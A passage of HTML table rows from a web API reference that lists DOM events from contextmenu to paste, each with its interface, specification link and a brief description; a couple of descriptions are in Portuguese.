- <td>{{event("contextmenu")}}</td>
- <td>{{domxref("MouseEvent")}}</td>
- <td style="white-space: nowrap;"><a href="https://html.spec.whatwg.org/multipage/forms.html#context-menus">HTML5</a></td>
- <td>The right button of the mouse is clicked (before the context menu is displayed).</td>
- </tr>
- <tr>
- <td>{{event("copy")}}</td>
- <td>{{domxref("ClipboardEvent")}} {{experimental_inline}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/clipboard-apis/#copy-event">Clipboard</a></td>
- <td>The text selection has been added to the clipboard.</td>
- </tr>
- <tr>
- <td>{{event("cut")}}</td>
- <td>{{domxref("ClipboardEvent")}} {{experimental_inline}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/clipboard-apis/#cut-event">Clipboard</a></td>
- <td>The text selection has been removed from the document and added to the clipboard.</td>
- </tr>
- <tr>
- <td>{{event("dblclick")}}</td>
- <td>{{domxref("MouseEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-dblclick">DOM L3</a></td>
- <td>A pointing device button is clicked twice on an element.</td>
- </tr>
- <tr>
- <td>{{event("devicechange")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;">{{SpecName("Media Capture")}}</td>
- <td>A media device such as a camera, microphone, or speaker is connected or removed from the system.</td>
- </tr>
- <tr>
- <td>{{event("devicelight")}}</td>
- <td>{{domxref("DeviceLightEvent")}} {{experimental_inline}}</td>
- <td style="white-space: nowrap;"><a class="external" href="http://dvcs.w3.org/hg/dap/raw-file/tip/light/Overview.html" lang="en" title="The definition of 'Ambient Light Events' in that specification.">Ambient Light Events</a></td>
- <td>Fresh data is available from a light sensor.</td>
- </tr>
- <tr>
- <td>{{event("devicemotion")}}</td>
- <td>{{domxref("DeviceMotionEvent")}} {{experimental_inline}}</td>
- <td style="white-space: nowrap;"><a class="external" href="http://dev.w3.org/geo/api/spec-source-orientation.html" lang="en" title="The 'Device Orientation Events' specification">Device Orientation Events</a></td>
- <td>Fresh data is available from a motion sensor.</td>
- </tr>
- <tr>
- <td>{{event("deviceorientation")}}</td>
- <td>{{domxref("DeviceOrientationEvent")}} {{experimental_inline}}</td>
- <td style="white-space: nowrap;"><a class="external" href="http://dev.w3.org/geo/api/spec-source-orientation.html" lang="en" title="The 'Device Orientation Events' specification">Device Orientation Events</a></td>
- <td>Fresh data is available from an orientation sensor.</td>
- </tr>
- <tr>
- <td>{{event("deviceproximity")}}</td>
- <td>{{domxref("DeviceProximityEvent")}} {{experimental_inline}}</td>
- <td style="white-space: nowrap;"><a class="external" href="http://dvcs.w3.org/hg/dap/raw-file/tip/proximity/Overview.html" lang="en" title="The definition of 'Proximity Events' in that specification.">Proximity Events</a></td>
- <td>Fresh data is available from a proximity sensor (indicates an approximated distance between the device and a nearby object).</td>
- </tr>
- <tr>
- <td>{{event("dischargingtimechange")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="https://dvcs.w3.org/hg/dap/raw-file/tip/battery/Overview.html">Battery status</a></td>
- <td>The <code>dischargingTime</code> attribute has been updated.</td>
- </tr>
- <tr>
- <td><code>DOMActivate</code> {{deprecated_inline}}</td>
- <td>{{domxref("UIEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMActivate">DOM L3</a></td>
- <td>A button, link or state changing element is activated (use {{event("click")}} instead).</td>
- </tr>
- <tr>
- <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMAttributeNameChanged</a></code> {{deprecated_inline}}</td>
- <td>{{domxref("MutationNameEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/2011/WD-DOM-Level-3-Events-20110531/#event-type-DOMAttributeNameChanged">DOM L3</a> Removed</td>
- <td>The name of an attribute changed (use <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
- </tr>
- <tr>
- <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMAttrModified</a></code> {{deprecated_inline}}</td>
- <td>{{domxref("MutationEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMAttrModified">DOM L3</a></td>
- <td>The value of an attribute has been modified (use <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
- </tr>
- <tr>
- <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMCharacterDataModified</a></code> {{deprecated_inline}}</td>
- <td>{{domxref("MutationEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMCharacterDataModified">DOM L3</a></td>
- <td>A text or another <a href="/en-US/docs/DOM/CharacterData">CharacterData</a> has changed (use <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
- </tr>
- <tr>
- <td>{{event("DOMContentLoaded")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-end.html#the-end">HTML5</a></td>
- <td>The document has finished loading (but not its dependent resources).</td>
- </tr>
- <tr>
- <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMElementNameChanged</a></code> {{deprecated_inline}}</td>
- <td>{{domxref("MutationNameEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/2011/WD-DOM-Level-3-Events-20110531/#event-type-DOMElementNameChanged">DOM L3</a> Removed</td>
- <td>The name of an element changed (use <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
- </tr>
- <tr>
- <td><code>DOMFocusIn</code> {{deprecated_inline}}</td>
- <td>{{domxref("FocusEvent")}} {{experimental_inline}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMFocusIn">DOM L3</a></td>
- <td>An element has received focus (use {{event("focus")}} or {{event("focusin")}} instead).</td>
- </tr>
- <tr>
- <td><code>DOMFocusOut</code> {{deprecated_inline}}</td>
- <td>{{domxref("FocusEvent")}} {{experimental_inline}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMFocusOut">DOM L3</a></td>
- <td>An element has lost focus (use {{event("blur")}} or {{event("focusout")}} instead).</td>
- </tr>
- <tr>
- <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeInserted</a></code> {{deprecated_inline}}</td>
- <td>{{domxref("MutationEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMNodeInserted">DOM L3</a></td>
- <td>A node has been added as a child of another node (use <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
- </tr>
- <tr>
- <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeInsertedIntoDocument</a></code> {{deprecated_inline}}</td>
- <td>{{domxref("MutationEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMNodeInsertedIntoDocument">DOM L3</a></td>
- <td>A node has been inserted into the document (use <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
- </tr>
- <tr>
- <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeRemoved</a></code> {{deprecated_inline}}</td>
- <td>{{domxref("MutationEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMNodeRemoved">DOM L3</a></td>
- <td>A node has been removed from its parent node (use <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
- </tr>
- <tr>
- <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeRemovedFromDocument</a></code> {{deprecated_inline}}</td>
- <td>{{domxref("MutationEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMNodeRemovedFromDocument">DOM L3</a></td>
- <td>A node has been removed from the document (use <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
- </tr>
- <tr>
- <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMSubtreeModified</a></code> {{deprecated_inline}}</td>
- <td>{{domxref("MutationEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMSubtreeModified">DOM L3</a></td>
- <td>A change happened in the document (use <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
- </tr>
- <tr>
- <td>{{event("downloading")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/html/wg/drafts/html/master/browsers.html#offline">Offline</a></td>
- <td>The user agent has found an update and is fetching it, or is downloading the resources listed by the cache manifest for the first time.</td>
- </tr>
- <tr>
- <td>{{event("drag")}}</td>
- <td>{{domxref("DragEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-drag">HTML5</a></td>
- <td>An element or text selection is being dragged (every 350ms).</td>
- </tr>
- <tr>
- <td>{{event("dragend")}}</td>
- <td>{{domxref("DragEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-dragend">HTML5</a></td>
- <td>A drag operation is being ended (by releasing a mouse button or hitting the escape key).</td>
- </tr>
- <tr>
- <td>{{event("dragenter")}}</td>
- <td>{{domxref("DragEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-dragenter">HTML5</a></td>
- <td>A dragged element or text selection enters a valid drop target.</td>
- </tr>
- <tr>
- <td>{{event("dragleave")}}</td>
- <td>{{domxref("DragEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-dragleave">HTML5</a></td>
- <td>A dragged element or text selection leaves a valid drop target.</td>
- </tr>
- <tr>
- <td>{{event("dragover")}}</td>
- <td>{{domxref("DragEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-dragover">HTML5</a></td>
- <td>An element or text selection is being dragged over a valid drop target (every 350ms).</td>
- </tr>
- <tr>
- <td>{{event("dragstart")}}</td>
- <td>{{domxref("DragEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-dragstart">HTML5</a></td>
- <td>The user starts dragging an element or text selection.</td>
- </tr>
- <tr>
- <td>{{event("drop")}}</td>
- <td>{{domxref("DragEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-drop">HTML5</a></td>
- <td>An element is dropped on a valid drop target.</td>
- </tr>
- <tr>
- <td>{{event("durationchange")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-durationchange">HTML5 media</a></td>
- <td>The <code>duration</code> attribute has been updated.</td>
- </tr>
- <tr>
- <td>{{event("emptied")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-emptied">HTML5 media</a></td>
- <td>The media has become empty; for example, this event is sent if the media has already been loaded (or partially loaded), and the <a href="/en-US/docs/XPCOM_Interface_Reference/NsIDOMHTMLMediaElement" rel="internal"><code>load()</code></a> method is called to reload it.</td>
- </tr>
- <tr>
- <td>{{event("end_(SpeechRecognition)","end")}} {{experimental_inline}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;">{{SpecName('Web Speech API')}}</td>
- <td>The speech recognition service has disconnected.</td>
- </tr>
- <tr>
- <td>{{event("end_(SpeechSynthesis)","end")}} {{experimental_inline}}</td>
- <td>{{domxref("SpeechSynthesisEvent")}}</td>
- <td style="white-space: nowrap;">{{SpecName("Web Speech API")}}</td>
- <td>The utterance has finished being spoken.</td>
- </tr>
- <tr>
- <td>{{event("ended")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-ended">HTML5 media</a></td>
- <td>Playback has stopped because the end of the media was reached.</td>
- </tr>
- <tr>
- <td>{{event("ended_(Web_Audio)", "ended")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;">{{SpecName("Web Audio API")}}</td>
- <td>Playback has stopped because the end of the media was reached.</td>
- </tr>
- <tr>
- <td>{{event("endEvent")}}</td>
- <td>{{domxref("TimeEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
- <td>A <a href="/en-US/docs/SVG/SVG_animation_with_SMIL">SMIL</a> animation element ends.</td>
- </tr>
- <tr>
- <td>{{event("error")}}</td>
- <td>{{domxref("UIEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-error">DOM L3</a></td>
- <td>A resource failed to load.</td>
- </tr>
- <tr>
- <td>{{event("error")}}</td>
- <td>{{domxref("ProgressEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/progress-events/">Progress</a><span> and </span><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-error">XMLHttpRequest</a></td>
- <td>Progresso falhou.</td>
- </tr>
- <tr>
- <td>{{event("error")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/html/wg/drafts/html/master/browsers.html#offline">Offline</a></td>
- <td>An error occurred while downloading the cache manifest or updating the content of the application.</td>
- </tr>
- <tr>
- <td>{{event("error")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/websockets/">WebSocket</a></td>
- <td>A WebSocket connection has been closed with prejudice (some data couldn't be sent for example).</td>
- </tr>
- <tr>
- <td>{{event("error")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="http://dev.w3.org/html5/eventsource/">Server Sent Events</a></td>
- <td>An event source connection has been failed.</td>
- </tr>
- <tr>
- <td>{{event("error")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/IndexedDB/#request-api">IndexedDB</a></td>
- <td>A request caused an error and failed.</td>
- </tr>
- <tr>
- <td>{{event("error_(SpeechRecognitionError)","error")}} {{experimental_inline}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;">{{SpecName('Web Speech API')}}</td>
- <td>A speech recognition error occurs.</td>
- </tr>
- <tr>
- <td>{{event("error_(SpeechSynthesisError)","error")}}</td>
- <td>{{domxref("SpeechSynthesisErrorEvent")}}</td>
- <td style="white-space: nowrap;">{{SpecName('Web Speech API')}}</td>
- <td>An error occurs that prevents the utterance from being successfully spoken.</td>
- </tr>
- <tr>
- <td>{{event("focus")}}</td>
- <td>{{domxref("FocusEvent")}} {{experimental_inline}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-focus">DOM L3</a></td>
- <td>An element has received focus (does not bubble).</td>
- </tr>
- <tr>
- <td>{{event("focusin")}}</td>
- <td>{{domxref("FocusEvent")}} {{experimental_inline}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-focusIn">DOM L3</a></td>
- <td>An element is about to receive focus (bubbles).</td>
- </tr>
- <tr>
- <td>{{event("focusout")}}</td>
- <td>{{domxref("FocusEvent")}} {{experimental_inline}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-focusout">DOM L3</a></td>
- <td>An element is about to lose focus (bubbles).</td>
- </tr>
- <tr>
- <td>{{event("fullscreenchange")}}{{gecko_minversion_inline("9")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="https://dvcs.w3.org/hg/fullscreen/raw-file/tip/Overview.html#api">Full Screen</a></td>
- <td>An element was turned to fullscreen mode or back to normal mode.</td>
- </tr>
- <tr>
- <td>{{event("fullscreenerror")}}{{gecko_minversion_inline("9")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="https://dvcs.w3.org/hg/fullscreen/raw-file/tip/Overview.html#api">Full Screen</a></td>
- <td>It was impossible to switch to fullscreen mode for technical reasons or because the permission was denied.</td>
- </tr>
- <tr>
- <td>{{event("gamepadconnected")}}</td>
- <td>{{domxref("GamepadEvent")}} {{experimental_inline}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/gamepad/#the-gamepadconnected-event">Gamepad</a></td>
- <td>A gamepad has been connected.</td>
- </tr>
- <tr>
- <td>{{event("gamepaddisconnected")}}</td>
- <td>{{domxref("GamepadEvent")}} {{experimental_inline}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/gamepad/#the-gamepaddisconnected-event">Gamepad</a></td>
- <td>A gamepad has been disconnected.</td>
- </tr>
- <tr>
- <td>{{event("gotpointercapture")}}</td>
- <td>{{domxref("PointerEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/pointerevents/#the-gotpointercapture-event">Pointer Events</a></td>
- <td>Element receives pointer capture.</td>
- </tr>
- <tr>
- <td>{{event("hashchange")}}</td>
- <td>{{domxref("HashChangeEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html#event-hashchange">HTML5</a></td>
- <td>The fragment identifier of the URL has changed (the part of the URL after the #).</td>
- </tr>
- <tr>
- <td>{{event("lostpointercapture")}}</td>
- <td>{{domxref("PointerEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/pointerevents/#the-lostpointercapture-event">Pointer Events</a></td>
- <td>Element lost pointer capture.</td>
- </tr>
- <tr>
- <td>{{event("input")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/html5/forms.html#common-event-behaviors">HTML5</a></td>
- <td>The value of an element changes or the content of an element with the attribute <a href="/en-US/docs/DOM/Element.contentEditable">contenteditable</a> is modified.</td>
- </tr>
- <tr>
- <td>{{event("invalid")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/association-of-controls-and-forms.html#constraint-validation">HTML5</a></td>
- <td>A submittable element has been checked and doesn't satisfy its constraints.</td>
- </tr>
- <tr>
- <td>{{event("keydown")}}</td>
- <td>{{domxref("KeyboardEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-keydown">DOM L3</a></td>
- <td>A key is pressed down.</td>
- </tr>
- <tr>
- <td>{{event("keypress")}}</td>
- <td>{{domxref("KeyboardEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-keypress">DOM L3</a></td>
- <td>A key is pressed down and that key normally produces a character value (use input instead).</td>
- </tr>
- <tr>
- <td>{{event("keyup")}}</td>
- <td>{{domxref("KeyboardEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-keyup">DOM L3</a></td>
- <td>A key is released.</td>
- </tr>
- <tr>
- <td>{{event("languagechange")}} {{experimental_inline}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;">{{ SpecName('HTML5.1', '#dom-navigator-languages', 'NavigatorLanguage.languages') }}</td>
- <td>The user's preferred languages have changed.</td>
- </tr>
- <tr>
- <td>{{event("levelchange")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="https://dvcs.w3.org/hg/dap/raw-file/tip/battery/Overview.html">Battery status</a></td>
- <td>The <code>level</code> attribute has been updated.</td>
- </tr>
- <tr>
- <td>{{event("load")}}</td>
- <td>{{domxref("UIEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-load">DOM L3</a></td>
- <td>A resource and its dependent resources have finished loading.</td>
- </tr>
- <tr>
- <td><code><a href="/en-US/docs/Web/Reference/Events/load_(ProgressEvent)">load</a></code></td>
- <td>{{domxref("ProgressEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/progress-events/">Progress</a><span> <span>and </span></span><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-load">XMLHttpRequest</a></td>
- <td>Progression has been successful.</td>
- </tr>
- <tr>
- <td>{{event("loadeddata")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-loadeddata">HTML5 media</a></td>
- <td>The first frame of the media has finished loading.</td>
- </tr>
- <tr>
- <td>{{event("loadedmetadata")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-loadedmetadata">HTML5 media</a></td>
- <td>The metadata has been loaded.</td>
- </tr>
- <tr>
- <td>{{event("loadend")}}</td>
- <td>{{domxref("ProgressEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/progress-events/">Progress</a><span> <span>and </span></span><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-loadend">XMLHttpRequest</a></td>
- <td>Progress has stopped (after "error", "abort" or "load" have been dispatched).</td>
- </tr>
- <tr>
- <td>{{event("loadstart")}}</td>
- <td>{{domxref("ProgressEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/progress-events/">Progress </a><span>and </span><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-loadstart">XMLHttpRequest</a></td>
- <td>Progresso começou.</td>
- </tr>
- <tr>
- <td>{{event("mark")}} {{experimental_inline}}</td>
- <td>{{domxref("SpeechSynthesisEvent")}}</td>
- <td style="white-space: nowrap;">{{SpecName('Web Speech API')}}</td>
- <td>The spoken utterance reaches a named SSML "mark" tag.</td>
- </tr>
- <tr>
- <td><code><a href="/en-US/docs/Web/Reference/Events/message_websocket">message</a></code></td>
- <td>{{domxref("MessageEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/websockets/">WebSocket</a></td>
- <td>A message is received through a WebSocket.</td>
- </tr>
- <tr>
- <td><code><a href="/en-US/docs/Web/Reference/Events/message_webworker">message</a></code></td>
- <td>{{domxref("MessageEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/workers/#communicating-with-a-dedicated-worker">Web Workers</a></td>
- <td>A message is received from a Web Worker.</td>
- </tr>
- <tr>
- <td><code><a href="/en-US/docs/Web/Reference/Events/message_webmessaging">message</a></code></td>
- <td>{{domxref("MessageEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/webmessaging/">Web Messaging</a></td>
- <td>A message is received from a child (i)frame or a parent window.</td>
- </tr>
- <tr>
- <td><code><a href="/en-US/docs/Web/Reference/Events/message_serversentevents">message</a></code></td>
- <td>{{domxref("MessageEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://dev.w3.org/html5/eventsource/">Server Sent Events</a></td>
- <td>A message is received through an event source.</td>
- </tr>
- <tr>
- <td>{{event("messageerror")}}</td>
- <td>{{domxref("MessageEvent")}}</td>
- <td style="white-space: nowrap;">{{domxref("MessagePort")}}, <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a>, <a href="/en-US/docs/Web/API/Broadcast_Channel_API">Broadcast Channel</a>, {{domxref("Window")}}</td>
- <td>A message error is raised when a message is received by an object.</td>
- </tr>
- <tr>
- <td>{{event("message_(ServiceWorker)","message")}} {{experimental_inline}}</td>
- <td>{{domxref("ServiceWorkerMessageEvent")}} or {{domxref("ExtendableMessageEvent")}}, depending on context.</td>
- <td style="white-space: nowrap;"><a href="/en-US/docs/Web/API/Service_Worker_API">Service Workers</a></td>
- <td>A message is received from a service worker, or a message is received in a service worker from another context.</td>
- </tr>
- <tr>
- <td>{{event("mousedown")}}</td>
- <td>{{domxref("MouseEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mousedown">DOM L3</a></td>
- <td>A pointing device button (usually a mouse) is pressed on an element.</td>
- </tr>
- <tr>
- <td>{{event("mouseenter")}}</td>
- <td>{{domxref("MouseEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mouseenter">DOM L3</a></td>
- <td>A pointing device is moved onto the element that has the listener attached.</td>
- </tr>
- <tr>
- <td>{{event("mouseleave")}}</td>
- <td>{{domxref("MouseEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mouseleave">DOM L3</a></td>
- <td>A pointing device is moved off the element that has the listener attached.</td>
- </tr>
- <tr>
- <td>{{event("mousemove")}}</td>
- <td>{{domxref("MouseEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mousemove">DOM L3</a></td>
- <td>A pointing device is moved over an element.</td>
- </tr>
- <tr>
- <td>{{event("mouseout")}}</td>
- <td>{{domxref("MouseEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mouseout">DOM L3</a></td>
- <td>A pointing device is moved off the element that has the listener attached or off one of its children.</td>
- </tr>
- <tr>
- <td>{{event("mouseover")}}</td>
- <td>{{domxref("MouseEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mouseover">DOM L3</a></td>
- <td>A pointing device is moved onto the element that has the listener attached or onto one of its children.</td>
- </tr>
- <tr>
- <td>{{event("mouseup")}}</td>
- <td>{{domxref("MouseEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mouseup">DOM L3</a></td>
- <td>A pointing device button is released over an element.</td>
- </tr>
- <tr>
- <td>{{event("nomatch")}} {{experimental_inline}}</td>
- <td>{{domxref("SpeechRecognitionEvent")}}</td>
- <td style="white-space: nowrap;">{{SpecName('Web Speech API')}}</td>
- <td>The speech recognition service returns a final result with no significant recognition.</td>
- </tr>
- <tr>
- <td>{{event("notificationclick")}}</td>
- <td>{{domxref("NotificationEvent")}} {{experimental_inline}}</td>
- <td style="white-space: nowrap;">{{SpecName('Web Notifications','#dom-serviceworkerglobalscope-onnotificationclick','onnotificationclick')}}</td>
- <td>A system notification<span style="line-height: 19.0909080505371px;"> spawned by {{domxref("ServiceWorkerRegistration.showNotification()")}} has been clicked.</span></td>
- </tr>
- <tr>
- <td>{{event("noupdate")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/html/wg/drafts/html/master/browsers.html#offline">Offline</a></td>
- <td>The manifest hadn't changed.</td>
- </tr>
- <tr>
- <td>{{event("obsolete")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/html/wg/drafts/html/master/browsers.html#offline">Offline</a></td>
- <td>The manifest was found to have become a 404 or 410 page, so the application cache is being deleted.</td>
- </tr>
- <tr>
- <td>{{event("offline")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/offline.html#event-offline">HTML5 offline</a></td>
- <td>The browser has lost access to the network.</td>
- </tr>
- <tr>
- <td>{{event("online")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/offline.html#event-online">HTML5 offline</a></td>
- <td>The browser has gained access to the network (but particular websites might be unreachable).</td>
- </tr>
- <tr>
- <td><code><a href="/en-US/docs/Web/Reference/Events/open_websocket">open</a></code></td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/websockets/">WebSocket</a></td>
- <td>A WebSocket connection has been established.</td>
- </tr>
- <tr>
- <td><code><a href="/en-US/docs/Web/Reference/Events/open_serversentevents">open</a></code></td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="http://dev.w3.org/html5/eventsource/">Server Sent Events</a></td>
- <td>An event source connection has been established.</td>
- </tr>
- <tr>
- <td>{{event("orientationchange")}}</td>
- <td>{{domxref("Event")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/screen-orientation/">Screen Orientation</a></td>
- <td>The orientation of the device (portrait/landscape) has changed</td>
- </tr>
- <tr>
- <td>{{event("pagehide")}}</td>
- <td>{{domxref("PageTransitionEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html#event-pagehide">HTML5</a></td>
- <td>A session history entry is being traversed from.</td>
- </tr>
- <tr>
- <td>{{event("pageshow")}}</td>
- <td>{{domxref("PageTransitionEvent")}}</td>
- <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html#event-pageshow">HTML5</a></td>
- <td>A session history entry is being traversed to.</td>
- </tr>
- <tr>
- <td>{{event("paste")}}</td>
- <td>{{domxref("ClipboardEvent")}} {{experimental_inline}}</td>
